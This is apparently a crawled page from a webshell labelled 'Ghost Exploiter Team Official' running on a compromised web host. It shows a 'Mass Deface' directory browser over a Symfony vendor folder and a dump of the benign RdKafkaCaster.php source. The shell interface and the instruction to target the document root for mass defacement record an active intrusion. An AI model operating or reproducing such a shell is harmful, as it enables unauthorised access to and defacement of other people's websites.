webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
symfony
/
var-dumper
/
Caster
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
AmqpCaster.php
6.718KB
edt
ren
ArgsStub.php
2.244KB
edt
ren
Caster.php
6.727KB
edt
ren
ClassStub.php
3.756KB
edt
ren
ConstStub.php
0.723KB
edt
ren
CutArrayStub.php
0.68KB
edt
ren
CutStub.php
1.885KB
edt
ren
DOMCaster.php
9.35KB
edt
ren
DateCaster.php
4.938KB
edt
ren
DoctrineCaster.php
1.741KB
edt
ren
DsCaster.php
1.553KB
edt
ren
DsPairStub.php
0.61KB
edt
ren
EnumStub.php
0.622KB
edt
ren
ExceptionCaster.php
16.383KB
edt
ren
FFICaster.php
5.167KB
edt
ren
FiberCaster.php
1.073KB
edt
ren
FrameStub.php
0.723KB
edt
ren
GmpCaster.php
0.731KB
edt
ren
ImagineCaster.php
0.927KB
edt
ren
ImgStub.php
0.622KB
edt
ren
IntlCaster.php
8.903KB
edt
ren
LinkStub.php
3.287KB
edt
ren
MemcachedCaster.php
2.269KB
edt
ren
MysqliCaster.php
0.675KB
edt
ren
PdoCaster.php
3.544KB
edt
ren
PgSqlCaster.php
5.464KB
edt
ren
ProxyManagerCaster.php
0.74KB
edt
ren
RdKafkaCaster.php
4.97KB
edt
ren
RedisCaster.php
5.435KB
edt
ren
ReflectionCaster.php
15.217KB
edt
ren
ResourceCaster.php
3.071KB
edt
ren
ScalarStub.php
0.541KB
edt
ren
SplCaster.php
8.126KB
edt
ren
StubCaster.php
2.475KB
edt
ren
SymfonyCaster.php
3.686KB
edt
ren
TraceStub.php
0.941KB
edt
ren
UninitializedStub.php
0.601KB
edt
ren
UuidCaster.php
0.652KB
edt
ren
XmlReaderCaster.php
3.335KB
edt
ren
XmlResourceCaster.php
2.521KB
edt
ren
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarDumper\Caster; use RdKafka\Conf; use RdKafka\Exception as RdKafkaException; use RdKafka\KafkaConsumer; use RdKafka\Message; use RdKafka\Metadata\Broker as BrokerMetadata; use RdKafka\Metadata\Collection as CollectionMetadata; use RdKafka\Metadata\Partition as PartitionMetadata; use RdKafka\Metadata\Topic as TopicMetadata; use RdKafka\Topic; use RdKafka\TopicConf; use RdKafka\TopicPartition; use Symfony\Component\VarDumper\Cloner\Stub; /** * Casts RdKafka related classes to array representation. * * @author Romain Neutron <imprec@gmail.com> */ class RdKafkaCaster { /** * @return array */ public static function castKafkaConsumer(KafkaConsumer $c, array $a, Stub $stub, bool $isNested) { $prefix = Caster::PREFIX_VIRTUAL; try { $assignment = $c->getAssignment(); } catch (RdKafkaException) { $assignment = []; } $a += [ $prefix.'subscription' => $c->getSubscription(), $prefix.'assignment' => $assignment, ]; $a += self::extractMetadata($c); return $a; } /** * @return array */ public static function castTopic(Topic $c, array $a, Stub $stub, bool $isNested) { $prefix = Caster::PREFIX_VIRTUAL; $a += [ $prefix.'name' => $c->getName(), ]; return $a; } /** * @return array */ public static function castTopicPartition(TopicPartition $c, array $a) { $prefix = Caster::PREFIX_VIRTUAL; $a += [ $prefix.'offset' => $c->getOffset(), $prefix.'partition' => $c->getPartition(), $prefix.'topic' => $c->getTopic(), ]; return $a; } /** * @return array */ public static function castMessage(Message $c, array $a, Stub $stub, bool $isNested) { $prefix = Caster::PREFIX_VIRTUAL; $a += [ $prefix.'errstr' => $c->errstr(), ]; return $a; } /** * @return array */ public static function castConf(Conf $c, array $a, Stub $stub, bool $isNested) { $prefix = Caster::PREFIX_VIRTUAL; foreach ($c->dump() as $key => $value) { $a[$prefix.$key] = $value; } return $a; } /** * @return array */ public static function castTopicConf(TopicConf $c, array $a, Stub $stub, bool $isNested) { $prefix = Caster::PREFIX_VIRTUAL; foreach ($c->dump() as $key => $value) { $a[$prefix.$key] = $value; } return $a; } /** * @return array */ public static function castRdKafka(\RdKafka $c, array $a, Stub $stub, bool $isNested) { $prefix = Caster::PREFIX_VIRTUAL; $a += [ $prefix.'out_q_len' => $c->getOutQLen(), ]; $a += self::extractMetadata($c); return $a; } /** * @return array */ public static function castCollectionMetadata(CollectionMetadata $c, array $a, Stub $stub, bool $isNested) { $a += iterator_to_array($c); return $a; } /** * @return array */ public static function castTopicMetadata(TopicMetadata $c, array $a, Stub $stub, bool $isNested) { $prefix = Caster::PREFIX_VIRTUAL; $a += [ $prefix.'name' => $c->getTopic(), $prefix.'partitions' => $c->getPartitions(), ]; return $a; } /** * @return array */ public static function castPartitionMetadata(PartitionMetadata $c, array $a, Stub $stub, bool $isNested) { $prefix = Caster::PREFIX_VIRTUAL; $a += [ $prefix.'id' => $c->getId(), $prefix.'err' => $c->getErr(), $prefix.'leader' => $c->getLeader(), ]; return $a; } /** * @return array */ public static function castBrokerMetadata(BrokerMetadata $c, array $a, Stub $stub, bool $isNested) { $prefix = Caster::PREFIX_VIRTUAL; $a += [ $prefix.'id' => $c->getId(), $prefix.'host' => $c->getHost(), $prefix.'port' => $c->getPort(), ]; return $a; } /** * @return array */ private static function extractMetadata(KafkaConsumer|\RdKafka $c) { $prefix = Caster::PREFIX_VIRTUAL; try { $m = $c->getMetadata(true, null, 500); } catch (RdKafkaException) { return []; } return [ $prefix.'orig_broker_id' => $m->getOrigBrokerId(), $prefix.'orig_broker_name' => $m->getOrigBrokerName(), $prefix.'brokers' => $m->getBrokers(), $prefix.'topics' => $m->getTopics(), ]; } }
<=Back
Liking